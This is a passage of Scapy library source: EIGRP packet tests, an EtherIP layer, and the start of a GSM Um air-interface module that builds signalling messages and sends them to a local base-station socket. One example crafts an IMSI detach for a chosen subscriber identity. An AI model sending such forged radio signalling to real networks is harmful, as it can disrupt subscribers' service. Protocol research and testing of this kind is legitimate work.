IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+redistributed+static+summary+receive-only")]) p[EIGRPStub].flags == 0x001f = Leak-Map p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="leak-map+receive-only")]) p[EIGRPStub].flags == 0x0028 = Connected, Leak-Map p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+leak-map+receive-only")]) p[EIGRPStub].flags == 0x0029 + Routing Updates = External route flag external p = EIGRPExtRoute(flags="external") p.flags == 0x1 = External route flag candidate-default route p = EIGRPExtRoute(flags="candidate-default") p.flags == 0x2 = Multiple internal routing updates p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(), EIGRPIntRoute(hopcount=12), EIGRPIntRoute()]) p[EIGRPIntRoute:2].hopcount == 12 = Multiple external routing updates p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(), EIGRPExtRoute(mtu=23), EIGRPExtRoute()]) p[EIGRPExtRoute:2].mtu == 23 + Authentication Data TLV = Verify keysize calculation p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata="\xaa\xbb\xcc")]) p[EIGRPAuthData].build()[6:8] == "\x00\x03" = Verify length calculation p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata="\xaa\xbb\xcc\xdd")]) p[EIGRPAuthData].build()[2:4] == "\x00\x1c" scapy-0.23/scapy/contrib/etherip.py000066400000000000000000000010001320561231000173260ustar00rootroot00000000000000 # http://trac.secdev.org/scapy/ticket/297 # scapy.contrib.description = EtherIP # scapy.contrib.status = loads from scapy.fields import BitField from scapy.packet import Packet, bind_layers from scapy.layers.inet import IP from scapy.layers.l2 import Ether class EtherIP(Packet): name = "EtherIP / RFC 3378" fields_desc = [ BitField("version", 3, 4), BitField("reserved", 0, 12)] bind_layers( IP, EtherIP, frag=0, proto=0x61) bind_layers( EtherIP, Ether) scapy-0.23/scapy/contrib/gsm_um.py000066400000000000000000015752051320561231000172050ustar00rootroot00000000000000#!/usr/bin/env python # scapy.contrib.description = PPI # scapy.contrib.status = loads """ This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """ #################################################################### # This file holds the GSM UM interface implementation for Scapy # # author: Laurent Weber # # # # Some examples on how to use this script: # # http://0xbadcab1e.lu/scapy_gsm_um-howto.txt # # # # tested on: scapy-version: 2.2.0 (dev) # #################################################################### import logging from types import IntType from types import NoneType from types import StringType #from time import sleep import socket logging.getLogger("scapy").setLevel(1) from scapy.all import * # This method is intended to send gsm air packets. It uses a unix domain # socket. It opens a socket, sends the parameter to the socket and # closes the socket. # typeSock determines the type of the socket, can be: # 0 for UDP Socket # 1 for Unix Domain Socket # 2 for TCP def sendum(x, typeSock=0): try: if type(x) is not str: x = str(x) if typeSock is 0: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) host = '127.0.0.1' port = 28670 # default for openBTS s.connect((host, port)) elif typeSock is 1: s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect("/tmp/osmoL") elif typeSock is 2: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = '127.0.0.1' port = 43797 s.connect((host, port)) s.send(x) s.close() except: print("[Error]: There was a problem when trying to transmit data.\ Please make sure you started the socket server.") # Known Bugs/Problems: # If a message uses multiple times the same IE you cannot set the values # of this IE's if you use the preconfigured packets. You need to build # the IE's by hand and than assemble them as entire messages. # The ErrorLength class is a custom exception that gets raised when a # packet doesn't have the correct size. class ErrorLength(Exception): def __str__(self): error = "ERROR: Please make sure you build entire, 8 bit fields." return repr(error) ### # This method computes the length of the actual IE. # It computes how many "None" fields have to be removed (if any). # The method returns an integer containing the number of bytes that have to be # cut off the packet. # parameter length contains the max length of the IE can be found in # 0408 # The parameter fields contains the value of the fields (not the default but # the real, actual value. # The parameter fields2 contains fields_desc. # Location contains the location of the length field in the IE. Everything # after the the length field has to be counted (04.07 11.2.1.1.2) def adapt(min_length, max_length, fields, fields2, location=2): # find out how much bytes there are between min_length and the location of # the length field location = min_length - location i = len(fields) - 1 rm = mysum = 0 while i >= 0: if fields[i] is None: rm += 1 try: mysum += fields2[i].size except AttributeError: # ByteFields don't have .size mysum += 8 else: break i -= 1 if mysum % 8 is 0: length = mysum / 8 # Number of bytes we have to delete dyn_length = (max_length - min_length - length) if dyn_length < 0: dyn_length = 0 if length is max_length: # Fix for packets that have all values set length -= min_length # to None return [length, dyn_length + location] else: raise ErrorLength() def examples(example=None): if example == None: print("""This command presents some example to introduce scapy gsm-um to new users. The following parameters can be used: examples("imsiDetach") examples("call") examples("dissect")""") elif example == "imsiDetach": print(""" >>> a=imsiDetachIndication() ... a.typeOfId=1; a.odd=1; a.idDigit1=0xF; ... a.idDigit2_1=2; a.idDigit2=7; a.idDigit3_1=0; ... a.idDigit3=7; a.idDigit4_1=7; a.idDigit4=2; ... a.idDigit5_1=0; a.idDigit5=0; a.idDigit6_1=0; ... a.idDigit6=1; a.idDigit7_1=2; a.idDigit7=7; ... a.idDigit8_1=7; a.idDigit8=5; a.idDigit9_1=1; a.idDigit9=4; >>> hexdump(a) 0000 05 01 00 08 F0 27 07 72 00 01 27 75 14 .....'.r..'u. >>> sendum(a) """) elif example == "call": print(""" If you use an USRP and the testcall function this sets up a phonecall: >>> sendum(setupMobileOriginated()) >>> sendum(connectAcknowledge()) """) # Section 10.2/3 class TpPd(Packet): """Skip indicator and transaction identifier and Protocol Discriminator""" name = "Skip Indicator And Transaction Identifier and Protocol \ Discriminator" fields_desc = [ BitField("ti", 0x0, 4), BitField("pd", 0x3, 4) ] class MessageType(Packet): """Message Type Section 10.4""" name = "Message Type" fields_desc = [ XByteField("mesType", 0x3C) ] ## # Message for Radio Resources management (RR) Section 9.1 ### # Network to MS def additionalAssignment(MobileAllocation_presence=0, StartingTime_presence=0): """ADDITIONAL ASSIGNMENT Section 9.1.1""" # Mandatory a = TpPd(pd=0x6) b = MessageType(mesType=0x3B) # 00111011 c = ChannelDescription() packet = a / b / c # Not Mandatory if MobileAllocation_presence is 1: d = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / d if StartingTime_presence is 1: e = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / e return packet # Network to MS def assignmentCommand(FrequencyList_presence=0, CellChannelDescription_presence=0, CellChannelDescription_presence1=0, MultislotAllocation_presence=0, ChannelMode_presence=0, ChannelMode_presence1=0, ChannelMode_presence2=0, ChannelMode_presence3=0, ChannelMode_presence4=0, ChannelMode_presence5=0, ChannelMode_presence6=0, ChannelMode_presence7=0, ChannelDescription=0, ChannelMode2_presence=0, MobileAllocation_presence=0, StartingTime_presence=0, FrequencyList_presence1=0, ChannelDescription2_presence=0, ChannelDescription_presence=0, FrequencyChannelSequence_presence=0, MobileAllocation_presence1=0, CipherModeSetting_presence=0, VgcsTargetModeIdentication_presence=0, MultiRateConfiguration_presence=0): """ASSIGNMENT COMMAND Section 9.1.2""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2e) # 101110 c = ChannelDescription2() d = PowerCommand() packet = a / b / c / d if FrequencyList_presence is 1: e = FrequencyListHdr(ieiFL=0x05, eightBitFL=0x0) packet = packet / e if CellChannelDescription_presence is 1: f = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0) packet = packet / f if MultislotAllocation_presence is 1: g = MultislotAllocationHdr(ieiMSA=0x10, eightBitMSA=0x0) packet = packet / g if ChannelMode_presence is 1: h = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0) packet = packet / h if ChannelMode_presence1 is 1: i = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0) packet = packet / i if ChannelMode_presence2 is 1: j = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0) packet = packet / j if ChannelMode_presence3 is 1: k = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0) packet = packet / k if ChannelMode_presence4 is 1: l = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0) packet = packet / l if ChannelMode_presence5 is 1: m = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0) packet = packet / m if ChannelMode_presence6 is 1: n = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0) packet = packet / n if ChannelMode_presence7 is 1: o = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0) packet = packet / o if ChannelDescription_presence is 1: p = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0) packet = packet / p if ChannelMode2_presence is 1: q = ChannelMode2Hdr(ieiCM2=0x66, eightBitCM2=0x0) packet = packet / q if MobileAllocation_presence is 1: r = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / r if StartingTime_presence is 1: s = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / s if FrequencyList_presence1 is 1: t = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0) packet = packet / t if ChannelDescription2_presence is 1: u = ChannelDescription2Hdr(ieiCD2=0x1C, eightBitCD2=0x0) packet = packet / u if ChannelDescription_presence is 1: v = ChannelDescriptionHdr(ieiCD=0x1D, eightBitCD=0x0) packet = packet / v if FrequencyChannelSequence_presence is 1: w = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0) packet = packet / w if MobileAllocation_presence1 is 1: x = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0) packet = packet / x if CipherModeSetting_presence is 1: y = CipherModeSettingHdr(ieiCMS=0x9, eightBitCMS=0x0) packet = packet / y if VgcsTargetModeIdentication_presence is 1: z = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0) packet = packet / z if MultiRateConfiguration_presence is 1: aa = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0) packet = packet / aa return packet # MS to Network def assignmentComplete(): """ASSIGNMENT COMPLETE Section 9.1.3""" a = TpPd(pd=0x6) b = MessageType(mesType=0x29) # 00101001 c = RrCause() packet = a / b / c return packet # MS to Network def assignmentFailure(): """ASSIGNMENT FAILURE Section 9.1.4""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2F) # 00101111 c = RrCause() packet = a / b / c return packet # Network to MS def channelModeModify(VgcsTargetModeIdentication_presence=0, MultiRateConfiguration_presence=0): """CHANNEL MODE MODIFY Section 9.1.5""" a = TpPd(pd=0x6) b = MessageType(mesType=0x8) # 0001000 c = ChannelDescription2() d = ChannelMode() packet = a / b / c / d if VgcsTargetModeIdentication is 1: e = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0) packet = packet / e if MultiRateConfiguration is 1: f = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0) packet = packet / f return packet def channelModeModifyAcknowledge(): """CHANNEL MODE MODIFY ACKNOWLEDGE Section 9.1.6""" a = TpPd(pd=0x6) b = MessageType(mesType=0x17) # 00010111 c = ChannelDescription2() d = ChannelMode() packet = a / b / c / d return packet # Network to MS def channelRelease(BaRange_presence=0, GroupChannelDescription_presence=0, GroupCipherKeyNumber_presence=0, GprsResumption_presence=0, BaListPref_presence=0): """CHANNEL RELEASE Section 9.1.7""" a = TpPd(pd=0x6) b = MessageType(mesType=0xD) # 00001101 c = RrCause() packet = a / b / c if BaRange_presence is 1: d = BaRangeHdr(ieiBR=0x73, eightBitBR=0x0) packet = packet / d if GroupChannelDescription_presence is 1: e = GroupChannelDescriptionHdr(ieiGCD=0x74, eightBitGCD=0x0) packet = packet / e if GroupCipherKeyNumber_presence is 1: f = GroupCipherKeyNumber(ieiGCKN=0x8) packet = packet / f if GprsResumption_presence is 1: g = GprsResumptionHdr(ieiGR=0xC, eightBitGR=0x0) packet = packet / g if BaListPref_presence is 1: h = BaListPrefHdr(ieiBLP=0x75, eightBitBLP=0x0) packet = packet / h return packet class ChannelRequest(Packet): """Channel request Section 9.1.8""" name = "Channel Request" fields_desc = [ ByteField("estCause", 0x0) ] def channelRequest(): return ChannelRequest() # Network to MS def cipheringModeCommand(): """CIPHERING MODE COMMAND Section 9.1.9""" a = TpPd(pd=0x6) b = MessageType(mesType=0x35) # 00110101 c = RrCause() #d=cipherModeSetting() #e=cipherResponse() # FIX d = CipherModeSettingAndcipherResponse() packet = a / b / c / d return packet def cipheringModeComplete(MobileId_presence=0): """CIPHERING MODE COMPLETE Section 9.1.10""" a = TpPd(pd=0x6) b = MessageType(mesType=0x32) # 00110010 packet = a / b if MobileId_presence is 1: c = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / c return packet # Network to MS def classmarkChange(MobileStationClassmark3_presence=0): """CLASSMARK CHANGE Section 9.1.11""" a = TpPd(pd=0x6) b = MessageType(mesType=0x16) # 00010110 c = MobileStationClassmark2() packet = a / b / c if MobileStationClassmark3_presence is 1: e = MobileStationClassmark3(ieiMSC3=0x20) packet = packet / e return packet # Network to MS def classmarkEnquiry(): """CLASSMARK ENQUIRY Section 9.1.12""" a = TpPd(pd=0x6) b = MessageType(mesType=0x13) # 00010011 packet = a / b return packet # 9.1.12a Spare # Network to MS def configurationChangeCommand(ChannelMode_presence=0, ChannelMode_presence1=0, ChannelMode_presence2=0, ChannelMode_presence3=0, ChannelMode_presence4=0, ChannelMode_presence5=0, ChannelMode_presence6=0, ChannelMode_presence7=0): """CONFIGURATION CHANGE COMMAND Section 9.1.12b""" a = TpPd(pd=0x6) b = MessageType(mesType=0x30) # 00110000 c = MultislotAllocation() packet = a / b / c if ChannelMode_presence is 1: d = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0) packet = packet / d if ChannelMode_presence1 is 1: e = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0) packet = packet / e if ChannelMode_presence2 is 1: f = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0) packet = packet / f if ChannelMode_presence3 is 1: g = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0) packet = packet / g if ChannelMode_presence4 is 1: h = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0) packet = packet / h if ChannelMode_presence5 is 1: i = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0) packet = packet / i if ChannelMode_presence6 is 1: j = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0) packet = packet / j if ChannelMode_presence7 is 1: k = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0) packet = packet / k return packet def configurationChangeAcknowledge(): """CONFIGURATION CHANGE ACKNOWLEDGE Section 9.1.12c""" a = TpPd(pd=0x6) b = MessageType(mesType=0x31) # 00110001 c = MobileId() packet = a / b / c return packet def configurationChangeReject(): """CONFIGURATION CHANGE REJECT Section 9.1.12d""" a = TpPd(pd=0x6) b = MessageType(mesType=0x33) # 00110011 c = RrCause() packet = a / b / c return packet # Network to MS def frequencyRedefinition(CellChannelDescription_presence=0): """Frequency redefinition Section 9.1.13""" a = TpPd(pd=0x6) b = MessageType(mesType=0x14) # 00010100 c = ChannelDescription() d = MobileAllocation() e = StartingTime() packet = a / b / c / d / e if CellChannelDescription_presence is 1: f = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0) packet = packet / f return packet # Network to MS def pdchAssignmentCommand(ChannelDescription_presence=0, CellChannelDescription_presence=0, MobileAllocation_presence=0, StartingTime_presence=0, FrequencyList_presence=0, ChannelDescription_presence1=0, FrequencyChannelSequence_presence=0, MobileAllocation_presence1=0, PacketChannelDescription_presence=0, DedicatedModeOrTBF_presence=0): """PDCH ASSIGNMENT COMMAND Section 9.1.13a""" a = TpPd(pd=0x6) b = MessageType(mesType=0x23) # 00100011 c = ChannelDescription() packet = a / b / c if ChannelDescription_presence is 1: d = ChannelDescriptionHdr(ieiCD=0x62, eightBitCD=0x0) packet = packet / d if CellChannelDescription_presence is 1: e = CellChannelDescriptionHdr(ieiCCD=0x05, eightBitCCD=0x0) packet = packet / e if MobileAllocation_presence is 1: f = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / f if StartingTime_presence is 1: g = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / g if FrequencyList_presence is 1: h = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0) packet = packet / h if ChannelDescription_presence1 is 1: i = ChannelDescriptionHdr(ieiCD=0x1C, eightBitCD=0x0) packet = packet / i if FrequencyChannelSequence_presence is 1: j = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0) packet = packet / j if MobileAllocation_presence1 is 1: k = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0) packet = packet / k if PacketChannelDescription_presence is 1: l = PacketChannelDescription(ieiPCD=0x22) packet = packet / l if DedicatedModeOrTBF_presence is 1: m = DedicatedModeOrTBFHdr(ieiDMOT=0x23, eightBitDMOT=0x0) packet = packet / m return packet def gprsSuspensionRequest(): """GPRS SUSPENSION REQUEST Section 9.1.13b""" a = TpPd(pd=0x6) b = MessageType() c = Tlli() d = RoutingAreaIdentification() e = SuspensionCause() packet = a / b / c / d / e return packet class HandoverAccess(Packet): name = "Handover Access" # Section 9.1.14" fields_desc = [ ByteField("handover", None), ] # Network to MS def handoverCommand(SynchronizationIndication_presence=0, FrequencyShortList_presence=0, FrequencyList_presence=0, CellChannelDescription_presence=0, MultislotAllocation_presence=0, ChannelMode_presence=0, ChannelMode_presence1=0, ChannelMode_presence2=0, ChannelMode_presence3=0, ChannelMode_presence4=0, ChannelMode_presence5=0, ChannelMode_presence6=0, ChannelMode_presence7=0, ChannelDescription_presence1=0, ChannelMode2_presence=0, FrequencyChannelSequence_presence=0, MobileAllocation_presence=0, StartingTime_presence=0, TimeDifference_presence=0, TimingAdvance_presence=0, FrequencyShortList_presence1=0, FrequencyList_presence1=0, ChannelDescription2_presence=0, ChannelDescription_presence2=0, FrequencyChannelSequence_presence1=0, MobileAllocation_presence1=0, CipherModeSetting_presence=0, VgcsTargetModeIdentication_presence=0, MultiRateConfiguration_presence=0): """HANDOVER COMMAND Section 9.1.15""" name = "Handover Command" a = TpPd(pd=0x6) b = MessageType(mesType=0x2b) # 00101011 c = CellDescription() d = ChannelDescription2() e = HandoverReference() f = PowerCommandAndAccessType() packet = a / b / c / d / e / f if SynchronizationIndication_presence is 1: g = SynchronizationIndicationHdr(ieiSI=0xD, eightBitSI=0x0) packet = packet / g if FrequencyShortList_presence is 1: h = FrequencyShortListHdr(ieiFSL=0x02) packet = packet / h if FrequencyList_presence is 1: i = FrequencyListHdr(ieiFL=0x05, eightBitFL=0x0) packet = packet / i if CellChannelDescription_presence is 1: j = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0) packet = packet / j if MultislotAllocation_presence is 1: k = MultislotAllocationHdr(ieiMSA=0x10, eightBitMSA=0x0) packet = packet / k if ChannelMode_presence is 1: l = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0) packet = packet / l if ChannelMode_presence1 is 1: m = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0) packet = packet / m if ChannelMode_presence2 is 1: n = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0) packet = packet / n if ChannelMode_presence3 is 1: o = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0) packet = packet / o if ChannelMode_presence4 is 1: p = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0) packet = packet / p if ChannelMode_presence5 is 1: q = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0) packet = packet / q if ChannelMode_presence6 is 1: r = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0) packet = packet / r if ChannelMode_presence7 is 1: s = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0) packet = packet / s if ChannelDescription_presence1 is 1: s1 = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0) packet = packet / s1 if ChannelMode2_presence is 1: t = ChannelMode2Hdr(ieiCM2=0x66, eightBitCM2=0x0) packet = packet / t if FrequencyChannelSequence_presence is 1: u = FrequencyChannelSequenceHdr(ieiFCS=0x69, eightBitFCS=0x0) packet = packet / u if MobileAllocation_presence is 1: v = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / v if StartingTime_presence is 1: w = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / w if TimeDifference_presence is 1: x = TimeDifferenceHdr(ieiTD=0x7B, eightBitTD=0x0) packet = packet / x if TimingAdvance_presence is 1: y = TimingAdvanceHdr(ieiTA=0x7D, eightBitTA=0x0) packet = packet / y if FrequencyShortList_presence1 is 1: z = FrequencyShortListHdr(ieiFSL=0x12) packet = packet / z if FrequencyList_presence1 is 1: aa = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0) packet = packet / aa if ChannelDescription2_presence is 1: ab = ChannelDescription2Hdr(ieiCD2=0x1C, eightBitCD2=0x0) packet = packet / ab if ChannelDescription_presence2 is 1: ac = ChannelDescriptionHdr(ieiCD=0x1D, eightBitCD=0x0) packet = packet / ac if FrequencyChannelSequence_presence1 is 1: ad = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0) packet = packet / ad if MobileAllocation_presence1 is 1: ae = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0) packet = packet / ae if CipherModeSetting_presence is 1: af = CipherModeSettingHdr(ieiCMS=0x9, eightBitCMS=0x0) packet = packet / af if VgcsTargetModeIdentication_presence is 1: ag = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0) packet = packet / ag if MultiRateConfiguration_presence is 1: ah = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0) packet = packet / ah return packet def handoverComplete(MobileTimeDifference_presence=0): """HANDOVER COMPLETE Section 9.1.16""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2c) # 00101100 c = RrCause() packet = a / b / c if MobileTimeDifference_presence is 1: d = MobileTimeDifferenceHdr(ieiMTD=0x77, eightBitMTD=0x0) packet = packet / d return packet def handoverFailure(): """HANDOVER FAILURE Section 9.1.17""" a = TpPd(pd=0x6) b = MessageType(mesType=0x28) # 00101000 c = RrCause() packet = a / b / c return packet #The L2 pseudo length of this message is the sum of lengths of all #information elements present in the message except #the IA Rest Octets and L2 Pseudo Length information elements. # Network to MS def immediateAssignment(ChannelDescription_presence=0, PacketChannelDescription_presence=0, StartingTime_presence=0): """IMMEDIATE ASSIGNMENT Section 9.1.18""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x3F) # 00111111 d = PageModeAndDedicatedModeOrTBF() packet = a / b / c / d if ChannelDescription_presence is 1: f = ChannelDescription() packet = packet / f if PacketChannelDescription_presence is 1: g = PacketChannelDescription() packet = packet / g h = RequestReference() i = TimingAdvance() j = MobileAllocation() packet = packet / h / i / j if StartingTime_presence is 1: k = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / k l = IaRestOctets() packet = packet / l return packet #The L2 pseudo length of this message is the sum of lengths of all #information elements present in the message except #the IAX Rest Octets and L2 Pseudo Length information elements. # Network to MS def immediateAssignmentExtended(StartingTime_presence=0): """IMMEDIATE ASSIGNMENT EXTENDED Section 9.1.19""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x39) # 00111001 d = PageModeAndSpareHalfOctets() f = ChannelDescription() g = RequestReference() h = TimingAdvance() i = MobileAllocation() packet = a / b / c / d / f / g / h / i if StartingTime_presence is 1: j = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / j k = IaxRestOctets() packet = packet / k return packet # This message has L2 pseudo length 19 # Network to MS def immediateAssignmentReject(): """IMMEDIATE ASSIGNMENT REJECT Section 9.1.20""" a = L2PseudoLength(l2pLength=0x13) b = TpPd(pd=0x6) c = MessageType(mesType=0x3a) # 00111010 d = PageModeAndSpareHalfOctets() f = RequestReference() g = WaitIndication() h = RequestReference() i = WaitIndication() j = RequestReference() k = WaitIndication() l = RequestReference() m = WaitIndication() n = IraRestOctets() packet = a / b / c / d / f / g / h / i / j / k / l / m / n return packet def measurementReport(): """MEASUREMENT REPORT Section 9.1.21""" a = TpPd(pd=0x6) b = MessageType(mesType=0x15) # 00010101 c = MeasurementResults() packet = a / b / c return packet # len max 20 class NotificationFacch(): """NOTIFICATION/FACCH Section 9.1.21a""" name = "Notification/facch" fields_desc = [ BitField("rr", 0x0, 1), BitField("msgTyoe", 0x0, 5), BitField("layer2Header", 0x0, 2), BitField("frChanDes", 0x0, 24) ] # The L2 pseudo length of this message has a value one # Network to MS def notificationNch(): """NOTIFICATION/NCH Section 9.1.21b""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x20) # 00100000 d = NtNRestOctets() packet = a / b / c / d return packet def notificationResponse(): """NOTIFICATION RESPONSE Section 9.1.21d""" a = TpPd(pd=0x6) b = MessageType(mesType=0x26) # 00100110 c = MobileStationClassmark2() d = MobileId() e = DescriptiveGroupOrBroadcastCallReference() packet = a / b / c / d / e return packet # Network to MS def rrCellChangeOrder(): """RR-CELL CHANGE ORDER Section 9.1.21e""" a = TpPd(pd=0x6) b = MessageType(mesType=0x8) # 00001000 c = CellDescription() d = NcModeAndSpareHalfOctets() packet = a / b / c / d return packet # Network to MS def pagingRequestType1(MobileId_presence=0): """PAGING REQUEST TYPE 1 Section 9.1.22""" #The L2 pseudo length of this message is the sum of lengths of all #information elements present in the message except #the P1 Rest Octets and L2 Pseudo Length information elements. a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x21) # 00100001 d = PageModeAndChannelNeeded() f = MobileId() packet = a / b / c / d / f if MobileId_presence is 1: g = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / g h = P1RestOctets() packet = packet / h return packet # The L2 pseudo length of this message is the sum of lengths of all # information elements present in the message except # Network to MS def pagingRequestType2(MobileId_presence=0): """PAGING REQUEST TYPE 2 Section 9.1.23""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x22) # 00100010 d = PageModeAndChannelNeeded() f = MobileId() g = MobileId() packet = a / b / c / d / f / g if MobileId_presence is 1: h = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / h i = P2RestOctets() packet = packet / i return packet # Network to MS def pagingRequestType3(): """PAGING REQUEST TYPE 3 Section 9.1.24""" # This message has a L2 Pseudo Length of 19 a = L2PseudoLength(l2pLength=0x13) b = TpPd(pd=0x6) c = MessageType(mesType=0x24) # 00100100 d = PageModeAndChannelNeeded() e = TmsiPTmsi() f = TmsiPTmsi() g = TmsiPTmsi() h = TmsiPTmsi() i = P3RestOctets() packet = a / b / c / d / e / f / g / h / i return packet def pagingResponse(): """PAGING RESPONSE Section 9.1.25""" a = TpPd(pd=0x6) b = MessageType(mesType=0x27) # 00100111 c = CiphKeySeqNrAndSpareHalfOctets() d = MobileStationClassmark2() e = MobileId() packet = a / b / c / d / e return packet # Network to MS def partialRelease(): """PARTIAL RELEASE Section 9.1.26""" a = TpPd(pd=0x6) b = MessageType(mesType=0xa) # 00001010 c = ChannelDescription() packet = a / b / c return packet def partialReleaseComplete(): """PARTIAL RELEASE COMPLETE Section 9.1.27""" a = TpPd(pd=0x6) b = MessageType(mesType=0xf) # 00001111 packet = a / b return packet # Network to MS def physicalInformation(): """PHYSICAL INFORMATION Section 9.1.28""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2d) # 00101101 c = TimingAdvance() packet = a / b / c return packet def rrInitialisationRequest(): """RR Initialisation Request Section 9.1.28.a""" a = TpPd(pd=0x6) b = MessageType(mesType=0x3c) # 00111100 c = CiphKeySeqNrAndMacModeAndChannelCodingRequest() e = MobileStationClassmark2() f = Tlli() g = ChannelRequestDescription() h = GprsMeasurementResults() packet = a / b / c / e / f / g / h return packet def rrStatus(): """RR STATUS Section 9.1.29""" a = TpPd(pd=0x6) b = MessageType(mesType=0x12) # 00010010 c = RrCause() packet = a / b / c return packet # It does not # follow the basic format. Its length is _25_ bits. The # order of bit transmission is defined in GSM 04.04. # Network to MS class SynchronizationChannelInformation(): """SYNCHRONIZATION CHANNEL INFORMATION Section 9.1.30""" name = "Synchronization Channel Information" fields_desc = [ BitField("bsic", 0x0, 5), BitField("t1Hi", 0x0, 3), ByteField("t1Mi", 0x0), BitField("t1Lo", 0x0, 1), BitField("t2", 0x0, 5), BitField("t3Hi", 0x0, 2), BitField("t3Lo", 0x0, 1) ] # This message has a L2 Pseudo Length of 21. # Network to MS def systemInformationType1(): """SYSTEM INFORMATION TYPE 1 Section 9.1.31""" a = L2PseudoLength(l2pLength=0x15) b = TpPd(pd=0x6) c = MessageType(mesType=0x19) # 00011001 d = CellChannelDescription() e = RachControlParameters() f = Si1RestOctets() packet = a / b / c / d / e / f return packet # This message has a L2 Pseudo Length of 22. # Network to MS def systemInformationType2(): """SYSTEM INFORMATION TYPE 2 Section 9.1.32""" a = L2PseudoLength(l2pLength=0x16) b = TpPd(pd=0x6) c = MessageType(mesType=0x1a) # 00011010 d = NeighbourCellsDescription() e = NccPermitted() f = RachControlParameters() packet = a / b / c / d / e / f return packet # This message has a L2 pseudo length of 21 # Network to MS def systemInformationType2bis(): """SYSTEM INFORMATION TYPE 2bis Section 9.1.33""" a = L2PseudoLength(l2pLength=0x15) b = TpPd(pd=0x6) c = MessageType(mesType=0x2) # 00000010 d = NeighbourCellsDescription() e = RachControlParameters() f = Si2bisRestOctets() packet = a / b / c / d / e / f return packet # This message has a L2 pseudo length of 18 # Network to MS def systemInformationType2ter(): """SYSTEM INFORMATION TYPE 2ter Section 9.1.34""" a = L2PseudoLength(l2pLength=0x12) b = 